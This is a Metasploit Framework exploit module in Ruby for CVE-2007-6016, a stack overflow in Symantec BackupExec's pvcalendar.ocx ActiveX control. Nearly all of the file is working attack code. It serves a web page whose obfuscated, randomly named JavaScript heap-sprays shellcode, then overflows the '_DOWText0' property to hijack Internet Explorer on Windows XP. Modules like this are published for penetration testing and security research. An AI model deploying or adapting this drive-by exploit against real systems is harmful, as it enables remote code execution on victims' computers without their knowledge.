
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/projects/Framework/
##

require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

	include Msf::Exploit::Remote::HttpServer::HTML

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Symantec BackupExec Calendar Control Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack overflow in Symantec BackupExec Calendar Control. 
					By sending an overly long string to the "_DOWText0" property located 
					in the pvcalendar.ocx control, an attacker may be able to execute 
					arbitrary code.
			},
			'License'        => MSF_LICENSE,
			'Author'         => [ 'Elazar Broad <elazarb[at]earthlink.net>' ], 
			'Version'        => '$Revision: 5773 $',
			'References'     => 
				[
					[ 'CVE', 'CVE-2007-6016' ],
					[ 'BID', '26904' ],
					[ 'URL', 'http://secunia.com/advisories/27885/' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Payload'        =>
				{
					'Space'         => 800,
					'BadChars'      => "\x00\x09\x0a\x0d'\\",
					'StackAdjustment' => -3500,
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Windows XP SP0-SP2 / IE 6.0 SP0-2 & IE 7.0 English', { 'Offset' => 256, 'Ret' => 0x0A0A0A0A } ]	
				],
			'DisclosureDate' => 'Feb 28 2008',
			'DefaultTarget'  => 0))
	end

	def autofilter
		false
	end

	def check_dependencies
		use_zlib
	end

	def on_request_uri(cli, request)
		# Re-generate the payload
		return if ((p = regenerate_payload(cli)) == nil)

		# Encode the shellcode
		shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

		# Setup exploit buffers
		nops 	  = Rex::Text.to_unescape(make_nops(4))
		ret  	  = Rex::Text.uri_encode([target.ret].pack('L'))
		blocksize = 0x30000
		fillto    = 400 
		offset 	  = target['Offset']
		junk	  = rand_text_alpha(4)

		# Randomize the javascript variable names
		pvcalendar   = rand_text_alpha(rand(100) + 1)
 		j_shellcode  = rand_text_alpha(rand(100) + 1)
		j_nops       = rand_text_alpha(rand(100) + 1)
		j_headersize = rand_text_alpha(rand(100) + 1)
		j_slackspace = rand_text_alpha(rand(100) + 1)
		j_fillblock  = rand_text_alpha(rand(100) + 1)
		j_block      = rand_text_alpha(rand(100) + 1)
		j_memory     = rand_text_alpha(rand(100) + 1)
		j_counter    = rand_text_alpha(rand(30) + 2)
		j_ret        = rand_text_alpha(rand(100) + 1)
		j_junk       = rand_text_alpha(rand(100) + 1)
		j_filename   = rand_text_alpha(rand(16) + 1)

		# Build out the message
		content = %Q|
			<html>
				<object classid='clsid:22ACD16F-99EB-11D2-9BB3-00400561D975' id='#{pvcalendar}'></object>
				 <script language='javascript'>
					#{j_shellcode} = unescape('#{shellcode}');
					#{j_nops} = unescape('#{nops}');
					#{j_headersize} = 20;
					#{j_slackspace} = #{j_headersize} + #{j_shellcode}.length
					while (#{j_nops}.length < #{j_slackspace}) #{j_nops} += #{j_nops};
					#{j_fillblock} = #{j_nops}.substring(0, #{j_slackspace});
					#{j_block} = #{j_nops}.substring(0, #{j_nops}.length - #{j_slackspace});
					while(#{j_block}.length + #{j_slackspace} < #{blocksize}) #{j_block} = #{j_block} + #{j_block} + #{j_fillblock};
					#{j_memory} = new Array();
					for (#{j_counter} = 0; #{j_counter} < #{fillto}; #{j_counter}++) #{j_memory}[#{j_counter}] = #{j_block} + #{j_shellcode};
					#{j_ret} = unescape('#{ret}');
					while (#{j_ret}.length < #{offset}) #{j_ret} += #{j_ret};
					#{j_junk} = '#{junk}';
					while (#{j_junk}.length < #{offset}) #{j_junk} += #{j_junk};
					try {
					 	#{pvcalendar}._DOWText0 = #{j_junk} + #{j_ret};
					 	#{pvcalendar}.Save('#{j_filename}',0);
					} catch(err) {}
				 </script>
			 </html>
			|

		
	
		print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")

		# Transmit the response to the client
		send_response_html(cli, content)
		
		# Handle the payload
		handler(cli)
	end

end